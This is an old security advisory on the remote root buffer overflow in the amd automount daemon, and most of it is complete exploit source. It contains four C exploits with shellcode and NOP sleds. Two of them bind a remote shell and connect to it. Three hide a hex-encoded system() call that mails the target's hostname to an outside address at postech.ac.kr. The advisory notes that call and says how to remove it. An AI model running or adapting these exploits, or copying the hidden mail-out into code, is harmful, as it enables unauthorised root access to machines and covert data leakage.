COMMAND
amd (am-utils)
SYSTEMS AFFECTED
RedHat 4.2, 5.2, 6.0 all architectures, BSD/OS 3.1, 4.0.1,
FreeBSD 3.2 (and earlier), FreeBSD-current before the correction
date, FreeBSD 3.2-stable before the correction date, Debian 2.1
PROBLEM
An explotable buffer overflow security problem in the amd daemon
which is part of the am-utils package has been fixed. This
problem is being actively exploted on the Internet and can be
used to gain root access on machines running amd. Olaf Kirch
took a look at the code. It's the same problem that bit the
Linux mount daemon. It uses a logging function that happily
sprintf's to a fixed length string on the stack. The fun part is
that if you've tried to play it safe and compiled amd with
--disable-amq-mounts, you're vulnerable, because in this case it
logs (before performing any access checks):
plog(XLOG_ERROR, "client tried to mount %s, but code is disabled",
the_path_specified_by_the_client)
If you've left amq mounts enabled, a similar message will be
logged at level XLOG_INFO, which goes to the bit bucket unless
you've manually increased log verbosity to info or more. However,
anybody is able to increase your log verbosity--no checking
involved.
Taeho Oh posted his remote exploit. This exploit will open a
connection to ohhara.postech.ac.kr on port 25. After a little
research The exploit (In it's original form) will send an email to
abuser@ohhara.postech.ac.kr and list the arguments entered. There
is an easy way to stop it from sending; just comment the line:
system(cmd);
/*
Amd Buffer Overflow for x86 linux
Remote user can gain root access.
Tested redhat linux : 4.0, 5.1, 6.0
Tested am-utils version : 6.0
What requires
/usr/sbin/amq
Usage
$ amd-ex <hostname> <command> [offset]
Warning : This program can crash amd.
This program is only for demonstrative use only.
USE IT AT YOUR OWN RISK!
Programmed by Taeho Oh 1999/08/31
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
*/
#include <stdio.h>
#include <stdlib.h>
#define OFFSET 0
#define RET_POSITION 1002
#define RANGE 20
#define NOP 0x90
char shellcode[1024]=
"\xeb\x35" /* jmp 0x35 */
"\x5e" /* popl %esi */
"\x89\x76\x0b" /* movl %esi,0xb(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x0b" /* movl %eax,0xb(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x0b" /* addl $0xb,%eax */
"\x89\x46\x0b" /* movl %eax,0xb(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x88\x46\x0a" /* movb %eax,0xa(%esi) */
"\x88\x46\x0b" /* movb %eax,0xb(%esi) */
"\x89\x46\x0b" /* movl %eax,0xb(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx */
"\x8d\x56\x0b" /* leal 0xb(%esi),%edx */
"\xcd\x80" /* int 0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int 0x80 */
"\xe8\xc6\xff\xff\xff" /* call -0x3a */
"/bin/sh -c "; /* .string "/bin/sh -c "*/
char command[800];
void usage()
{
printf("Warning : This program can crash amd\n");
printf("Usage: amd-ex <hostname> <command> [offset]\n");
printf("ex) amd-ex ohhara.target.com \"/usr/X11R6/bin/xterm -display hacker.com:0\"\n");
}
int main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
char target[256];
char cmd[1024];
long *addr_ptr,addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
int i;
printf("Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara\n");
printf("PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus\n");
printf("PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug\n\n");
if(argc<3)
{
usage();
exit(1);
}
if(argc>2)
{
strcpy(target,argv[1]);
strcpy(command,argv[2]);
}
if(argc>3)
offset=atoi(argv[3]);
shellcode[5]=(shellcode[5]+strlen(command))/4*4+4;
shellcode[13]=(shellcode[13]+strlen(command))/4*4+8;
shellcode[21]=(shellcode[21]+strlen(command))/4*4+12;
shellcode[32]=(shellcode[32]+strlen(command));
shellcode[35]=(shellcode[35]+strlen(command))/4*4+16;
shellcode[42]=(shellcode[42]+strlen(command))/4*4+4;
shellcode[45]=(shellcode[45]+strlen(command))/4*4+16;
strcat(shellcode,command);
strcpy(cmd,"\x65\x63\x68\x6f\x20");
strcat(cmd,target);
strcat(cmd,"\x20");
strcat(cmd,command);
strcat(cmd,"\x7c");
strcat(cmd,"\x2f\x62\x69\x6e\x2f\x6d\x61\x69\x6c\x20");
strcat(cmd,"\x61\x62\x75\x73\x65\x72\x40\x6f\x68\x68");
strcat(cmd,"\x61\x72\x61\x2e\x70\x6f\x73\x74\x65\x63");
strcat(cmd,"\x68\x2e\x61\x63\x2e\x6b\x72");
sp=0xbffff34d;
addr=sp-offset;
ptr=buff;
addr_ptr=(long*)ptr;
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr;
for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='\0';
for(i=bsize;i>1;i--)
buff[i-1]=buff[i-2];
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
/* it's for script kiddies. */
system(cmd);
execl("/usr/sbin/amq","amq","-h",target,"-M",buff,NULL);
}
Taeho Oh strikes again:
/*
Amd Buffer Overflow for x86 linux
Remote user can gain root access.
Tested redhat linux : 4.0, 5.0, 5.1, 6.0
Tested am-utils version : 6.0
What requires
/usr/sbin/amq
Usage
$ amd-ex <hostname> [offset]
Warning : This program can crash amd.
This program is only for demonstrative use only.
USE IT AT YOUR OWN RISK!
Programmed by Taeho Oh 1999/09/10
Taeho Oh ( ohhara@postech.ac.kr ) http://ohhara.postech.ac.kr
PLUS ( Postech Laboratory for Unix Security ) http://www.postech.ac.kr/plus
PosLUG ( POStech Linux User Group ) http://www.postech.ac.kr/group/poslug
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define ALIGN 1
#define OFFSET 0
#define RET_POSITION 1000
#define RANGE 20
#define NOP 0x90
char shellcode[1024]=
"\xeb\x41" /* jmp 0x41 */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x02" /* jmp 0x2 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax*/
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax*/
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5d\xff\xff\xff"; /* call -0xa3 */
void usage()
{
printf("Warning : This program can crash amd\n");
printf("Usage: amd-ex <hostname> [offset]\n");
printf("ex) amd-ex ohhara.target.com\n");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host.\n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shell\n");
exit(0);
}
return sockfd;
}
int exec_sh(int sockfd)
{
char snd[1024],rcv[1024];
fd_set rset;
sprintf(snd,"PATH=/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin\nexport PATH\nuname -a\nid\n");
write(sockfd,snd,strlen(snd));
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd, &rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int align=ALIGN,offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i,sockfd;
char target[256];
char cmd[1024];
printf("Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara\n");
printf("PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus\n");
printf("PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug\n\n");
if(argc<2)
{
usage();
exit(0);
}
if(argc>1)
strcpy(target,argv[1]);
if(argc>2)
offset=atoi(argv[2]);
sp=0xbffff34d;
addr=sp-offset;
strcpy(cmd,"\x65\x63\x68\x6f\x20");
strcat(cmd,target);
strcat(cmd,"\x7c");
strcat(cmd,"\x2f\x62\x69\x6e\x2f\x6d\x61\x69\x6c\x20");
strcat(cmd,"\x61\x62\x75\x73\x65\x72\x40\x6f\x68\x68");
strcat(cmd,"\x61\x72\x61\x2e\x70\x6f\x73\x74\x65\x63");
strcat(cmd,"\x68\x2e\x61\x63\x2e\x6b\x72");
for(i=0;i<bsize;i+=4)
{
buff[i+align]=(addr&0x000000ff);
buff[i+align+1]=(addr&0x0000ff00)>>8;
buff[i+align+2]=(addr&0x00ff0000)>>16;
buff[i+align+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*((ptr++))=shellcode[i];
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
/* it's for script kiddies. */
system(cmd);
if(fork()==0)
{
printf("Attack %s\n",target);
fflush(stdout);
execl("/usr/sbin/amq","amq","-h",target,"-M",buff,NULL);
exit(0);
}
sleep(15);
sockfd=connect_sh(getip(target));
exec_sh(sockfd);
}
And the final one from Taheo:
/*
Amd exploit code for x86 linux
Remote user can gain root access.
Tested redhat linux : 4.0, 5.0, 5.1, 6.0
Tested am-utils version : 6.0
What requires
/usr/sbin/amq
Usage
$ amd-ex target.com 0
|
+- try from -2000 to 2000 ( try in steps of 500 )
Warning : This program can crash amd.
This program is only for demonstrative use only.
USE IT AT YOUR OWN RISK!
Programmed by Taeho Oh 1999/09/12
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#define ALIGN 1
#define OFFSET 0
#define RET_POSITION 1000
#define RANGE 20
#define NOP 0x90
char shellcode[1024]=
"\x33\xd2" /* xorl %edx,%edx */
"\x33\xc0" /* xorl %eax,%eax */
"\x8b\xda" /* movl %edx,%ebx */
"\xb0\x06" /* movb $0x6,%al */
"\xcd\x80" /* int $0x80 */
"\xfe\xc2" /* incb %dl */
"\x75\xf4" /* jne -0xc */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* testl %eax,%eax */
"\x75\x43" /* jne 0x43 */
"\xeb\x43" /* jmp 0x43 */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp 0x4 */
"\xeb\x55" /* jmp 0x55 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax*/
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax*/
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5b\xff\xff\xff"; /* call -0xa5 */
void usage()
{
printf("Warning : This program can crash amd\n");
printf("Usage: amd-ex <hostname> [offset]\n");
printf("ex) amd-ex target.com 0\n");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host.\n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shell\n");
exit(0);
}
return sockfd;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
sprintf(snd,"PATH=/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin:/usr/X11R6/bin:/usr/games\nexport PATH\nLD_LIBRARY_PATH=/usr/local/lib:/lib:/usr/lib:/usr/X11R6/lib\nexport LD_LIBRARY_PATH\n/usr/sbin/amd -a /.automount -l syslog -c 1000 /ne
t /etc/amd.conf\nuname -a\nid\n");
write(sockfd,snd,strlen(snd));
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd, &rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int align=ALIGN,offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i,sockfd,status;
char target[256];
char cmd[1024];
printf("Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara\n");
printf("PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus\n");
printf("PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug\n\n");
if(argc<2)
{
usage();
exit(0);
}
if(argc>1)
strcpy(target,argv[1]);
if(argc>2)
offset=atoi(argv[2]);
strcpy(cmd,"\x65\x63\x68\x6f\x20");
strcat(cmd,target);
strcat(cmd,"\x7c");
strcat(cmd,"\x2f\x62\x69\x6e\x2f\x6d\x61\x69\x6c\x20");
strcat(cmd,"\x61\x62\x75\x73\x65\x72\x40\x6f\x68\x68");
strcat(cmd,"\x61\x72\x61\x2e\x70\x6f\x73\x74\x65\x63");
strcat(cmd,"\x68\x2e\x61\x63\x2e\x6b\x72");
sp=0xbffff2e9;
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+align]=(addr&0x000000ff);
buff[i+align+1]=(addr&0x0000ff00)>>8;
buff[i+align+2]=(addr&0x00ff0000)>>16;
buff[i+align+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*((ptr++))=shellcode[i];
buff[bsize-1]='\0';
printf("Jump to 0x%08x\n",addr);
if(fork()==0)
{
printf("Attack %s\n",target);
fflush(stdout);
execl("/usr/sbin/amq","amq","-h",target,"-M",buff,NULL);
exit(0);
}
wait(&status);
sleep(5);
system(cmd); /* If you want, comment out this line :) */
sockfd=connect_sh(getip(target));
exec_sh(sockfd);
}
Here is the SDI exploit for the AMD vulnerability. You may choose
to send the information via UDP or TCP, or even to bypasse the
portmap by specifing the automount port.
/*
* SDI rpc.AMD automountd remote exploit for RedHat Linux
* Sekure SDI - Brazilian Information Security Team
* by c0nd0r <condor@sekure.org> - Jul/99
*
* AMD doesn't check bounds in the plog() function, so we may
* call the procedure 7 and exploit this vulnerability.
* It has been tested under rh5.2/5.0 but this vulnerability exists in
* all versions.
*
* Greets: jamez, bishop, bahamas, stderr, dumped, paranoia, marty(nordo),
* vader, fcon, slide, corb, soft distortion and specially to
* my sasazita! Also lots of thanks to toxyn.org(frawd,r00t),
* pulhas.org, phibernet, superbofh(seti) and el8.org (duke).
* #uground (brasnet), #sdi(efnet), #(phibernet).
*
* usage: SDIamd -h <host> -c <command> [-p <port>] [-o <offset>]
* where -p <port> will bypass the portmap.
*
* Warning: We take no responsability for the consequences on using this
* tool. DO NOT USE FOR ILICIT ACTIVITIES!
*
* Agradecimentos a todo o pessoal que vem acompanhando a lista brasileira
* de seguranca - BOS-BR <bos-br-request@sekure.org>. Fiquem ligado na
* nova pagina do grupo!
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#define AMQ_PROGRAM ((u_long)300019)
#define AMQ_VERSION ((u_long)1)
#define AMQPROC_MOUNT ((u_long)7)
#define AMQ_STRLEN 1024
#define XDRPROC_T_TYPE xdrproc_t
#define voidp void *
#define NOP 0x90
char shellcode[] =
"\xeb\x31\x5e\x89\x76\xac\x8d\x5e\x08\x89\x5e\xb0"
"\x8d\x5e\x0b\x89\x5e\xb4\x31\xc0\x88\x46\x07\x88"
"\x46\x0a\x88\x46\xab\x89\x46\xb8\xb0\x0b\x89\xf3"
"\x8d\x4e\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c ";
//typedef bool_t (*xdrproc_t) __P ((XDR *, __ptr_t, ...));
typedef char *amq_string;
typedef long *time_type;
typedef struct amq_mount_tree amq_mount_tree;
typedef amq_mount_tree *amq_mount_tree_p;
struct amq_mount_tree {
amq_string mt_mountinfo;
amq_string mt_directory;
amq_string mt_mountpoint;
amq_string mt_type;
time_type mt_mounttime;
u_short mt_mountuid;
int mt_getattr;
int mt_lookup;
int mt_readdir;
int mt_readlink;
int mt_statfs;
struct amq_mount_tree *mt_next;
struct amq_mount_tree *mt_child;
};
bool_t
xdr_amq_string(XDR *xdrs, amq_string *objp)
{
if (!xdr_string(xdrs, objp, AMQ_STRLEN)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_time_type(XDR *xdrs, time_type *objp)
{
if (!xdr_long(xdrs, (long *) objp)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_amq_mount_tree(XDR *xdrs, amq_mount_tree *objp)
{
if (!xdr_amq_string(xdrs, &objp->mt_mountinfo)) {
return (FALSE);
}
if (!xdr_amq_string(xdrs, &objp->mt_directory)) {
return (FALSE);
}
if (!xdr_amq_string(xdrs, &objp->mt_mountpoint)) {
return (FALSE);
}
if (!xdr_amq_string(xdrs, &objp->mt_type)) {
return (FALSE);
}
if (!xdr_time_type(xdrs, &objp->mt_mounttime)) {
return (FALSE);
}
if (!xdr_u_short(xdrs, &objp->mt_mountuid)) {
return (FALSE);
}
if (!xdr_int(xdrs, &objp->mt_getattr)) {
return (FALSE);
}
if (!xdr_int(xdrs, &objp->mt_lookup)) {
return (FALSE);
}
if (!xdr_int(xdrs, &objp->mt_readdir)) {
return (FALSE);
}
if (!xdr_int(xdrs, &objp->mt_readlink)) {
return (FALSE);
}
if (!xdr_int(xdrs, &objp->mt_statfs)) {
return (FALSE);
}
if (!xdr_pointer(xdrs, (char **) &objp->mt_next, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
return (FALSE);
}
if (!xdr_pointer(xdrs, (char **) &objp->mt_child, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
return (FALSE);
}
return (TRUE);
}
bool_t
xdr_amq_mount_tree_p(XDR *xdrs, amq_mount_tree_p *objp)
{
if (!xdr_pointer(xdrs, (char **) objp, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
return (FALSE);
}
return (TRUE);
}
int usage ( char *arg) {
printf ( "Sekure SDI - AMD remote exploit for linux\n");
printf ( "usage: %s -h <host> -c <command> [-o <offset>] [-p <port>] [-u] \n", arg);
printf ( " where: [port] will bypass portmap\n");
printf ( " [-u ] will use udp instead of tcp\n");
exit (0);
}
int *amqproc_mount_1(voidp argp, CLIENT *clnt);
int main ( int argc, char *argv[] ) {
CLIENT *cl;
struct timeval tv;
struct sockaddr_in sa;
struct hostent *he;
char buf[8000], *path = buf, comm[200], *host, *cc;
int sd, res, x, y, offset=0, c, port=0, damn=0, udp=0;
long addr = 0xbffff505;
while ((c = getopt(argc, argv, "h:p:c:o:u")) != -1)
switch (c) {
case 'h':
host = optarg;
break;
case 'p':
port = atoi(optarg);
break;
case 'c':
cc = optarg;
break;
case 'o':
offset = atoi ( optarg);
break;
case 'u':
udp = 1;
break;
default:
damn = 1;
break;
}
if (!host || !cc || damn) usage ( argv[0]);
sa.sin_family = AF_INET;
he = gethostbyname ( host);
if (!he) {
if ( (sa.sin_addr.s_addr = inet_addr ( host)) == INADDR_NONE) {
printf ( "unknown host, try again pal!\n");
exit ( 0);
}
} else
bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
sa.sin_port = htons(port);
sd = RPC_ANYSOCK;
tv.tv_sec = 10;
tv.tv_usec = 0;
snprintf ( comm, sizeof(comm), "%s", cc);
if ( strlen(comm) >= 160) {
printf ( "command too long\n");
exit (0);
} else {
comm[strlen(comm)] = ';';
for ( x = strlen(comm); x < 160; x++)
comm[x] = 'A';
}
addr += offset;
for ( x = 0; x < (1001-(strlen(shellcode)+strlen(comm))); x++)
buf[x] = NOP;
for ( y = 0; y < strlen(shellcode); x++, y++)
buf[x] = shellcode[y];
for ( y = 0; y < strlen(comm); x++, y++)
buf[x] = comm[y];
printf ( "SDI automountd remote exploit for linux\n");
printf ( "Host %s \nRET 0x%x \nOFFset %d \n", host, addr, offset);
for ( ; x < 1020; x+=4) {
buf[x ] = (addr & 0x000000ff);
buf[x+1] = (addr & 0x0000ff00) >> 8;
buf[x+2] = (addr & 0x00ff0000) >> 16;
buf[x+3] = (addr & 0xff000000) >> 24;
}
buf[strlen(buf)] = '\0';
if (!udp) {
if ((cl = clnttcp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, &sd, 0, 0)) ==
NULL)
{
clnt_pcreateerror("clnt_create");
exit (-1);
}
} else {
if ((cl = clntudp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, tv, &sd)) ==
NULL)
{
clnt_pcreateerror("clnt_create");
exit (-1);
}
}
printf ( "PORT %d \n", ntohs(sa.sin_port));
printf ( "Command: %s \n", cc);
amqproc_mount_1 (&path, cl);
clnt_destroy ( cl);
}
int *
amqproc_mount_1(voidp argp, CLIENT *clnt)
{
static int res;
struct timeval TIMEOUT = {10, 0};
memset((char *) &res, 0, sizeof(res));
if (clnt_call(clnt, AMQPROC_MOUNT, (XDRPROC_T_TYPE) xdr_amq_string, argp,
(XDRPROC_T_TYPE) xdr_int, (caddr_t) & res,
TIMEOUT) != RPC_SUCCESS) {
printf ( "voce e' um hax0r!\n");
printf ( "don't forget to restart amd: /etc/rc.d/init.d/amd start\n");
clnt_perror ( clnt, "clnt_call");
return (NULL);
}
printf ( "exploit failed\n");
return (&res);
}
Duke posted his exploit kit regarding amd:
---
